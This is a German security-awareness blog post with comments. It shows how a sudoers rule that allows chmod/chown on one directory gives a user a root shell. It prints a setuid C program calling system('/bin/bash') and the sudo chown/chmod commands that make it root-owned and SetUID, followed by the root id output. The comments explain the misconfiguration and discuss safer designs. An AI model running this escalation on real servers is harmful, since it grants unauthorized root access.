Security fail pt1: sudo chmod/chown
Auf einem Webserver fand ich kürzlich eine sudoers-Zeile, die einem User erlaubte, chmod und chown für ein bestimmtes Verzeichnis (/foo) auszuführen. Sowas sollte man tunlichst vermeiden.
user@srv2342: ~> id
uid=1007(user) gid=100(users) groups=16(dialout),33(video),100(users)
Ich brauche zuerst ein kleines C-Tool:
user@srv2342: ~> cat > /foo/y.c
#include
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
STRG-D
Compilieren:
user@srv2342:/foo> cd /foo; gcc y.c -o y
Jetzt machen wir sudo-magic und erhalten ein SetUID-Bit:
user@srv2342:/foo> sudo /bin/chown 0:0 /foo/y
user@srv2342:/foo> sudo /bin/chmod 4775 /foo/y
user@srv2342:/foo ls -l
total 16
-rwsrwxr-x 1 root root 9217 Mar 26 14:52 y
-rw-r----- 1 user users 101 Mar 26 14:51 y.c
Root werden:
user@srv2342:/foo> ./y
srv2342:/foo # id
uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
Owned! 
Related posts:
- Security fail pt4: Backups Auch immer wieder gesehen: falsche Berechtigungen von Backups. [user@srv2342 ~]$ ls -l /opt/backup -rw-r--r-- 1...
- Security fail pt3: Userauthentifizierung über externe Kommandos Tim schlug hier vor, im Vorpost etwas anderes zur Authentifizierung als $USER zu nutzen:...
- Security fail pt2: Userauthentifizierung in BASH Um die Security awareness etwas zu erhöhen, habe ich überlegt, noch ein paar witzige...
Frank
Sehr cool. Vor allem der Jean-Luc
martin
Ein Sticky-Bit? Oder nicht vielleicht doch ein SetUID-Bit?
Ansonsten leider ein ziemlich typisches Szenario.
Horst
Ich sehe hier kein Sicherheitsproblem. Wenn man sowieso sudo-Rechte hat, kann man doch schon alles. Sieht für mich alles normal aus und funktioniert so, wie man es erwarten würde.
Erklär mal, was genau daran der Hack sein soll. Danke!
Horst
ChristianS
Naja, sudo war auf die Befehle chmod und chown beschränkt und hätte dem Benutzer selbst direkt gar keine root-Shell ermöglicht. Indirekt über oben beschriebenen ähem Workaround aber schon.
Stefan, kannst Du vielleicht noch kurz etwas zum Hintergrund sagen, wieso der Admin den Usern chmod/chown erlauben wollte? Was hatte er sich dabei gedacht? Wenn man das weiß, kann man auch überlegen, wie er es hätte besser machen können. Was diesem Beitrag inhaltlich noch ein Tüpfelchen verpassen würde.
Horst
Doch, na klar… dann darf man hat das setuid-Bit setzen und den Besitzer auf root ändern, z.B. auf /bin/bash und schon hat man eine root-Shell und darf den ganzen anderen Rest auch.
Oder die Zugriffsrechte auf /dev/mem ändern und den Speicher vollmüllen und und… wenn man jemanden sudo-Recht auf chown und chmod gibt, dann gibt man demjenigen alle Rechte. Aber das sollte eigentlich jedem klar sein. Das ist keine Sicherheitslücke, sondern funktioniert so, wie es soll.
Kinch
@Horst
Es gibt keine „sudo”-Rechte. Der Unterschied zwischen sudo und su ist ja gerade, dass man einem einfachem Nutzer Operationen erlauben kann, die eigentlich Root-Rechte (oder andere User-Rechte) benötigen, ihm aber eben keine Root-Rechte zu geben braucht.
In dem Fall war die Intention anscheinend einem einfachen Nutzer nur Chown/Chmod zu erlauben, aber man hat ihm stattdessen versehentlich die Möglichkeit gegeben eine Root-Shell zu öffnen.
stefan
SetUID-Bit ist natürlich richtig, nicht Sticky.
chmod/chown gingen nur für einen bestimmten Ordner, /foo.
Die Bash macht kein setuid(), d.h. sie hätte auch keine Rootshell ergeben, selbst wenn man ihr das SetUID-Bit gibt.
Vereinfacht: es sollte dazu dienen, dass ein User, der Dateien hochlädt, deren Rechte mit seinem Shelluser anpassen darf, sodass auch der Webserver Rechte auf die Dateien hat (oder halt nicht).
Tim
Wir geben keine direkten chmod/chown Rechte. Stattdessen haben wir ein Skript, das parametrisiert werden kann und nur von/bei bestimmten Usern zu bestimmten Usern einen Wechsel erlaubt und der root ist nie dabei.
stefan
Hm, grade solche handgeklöppelten Sachen haben oft gravierende Sicherheitslöcher, weil niemand zweites draufgeguckt hat, der Ahnung von Security hat – damit sollte man immer extrem vorsichtig sein.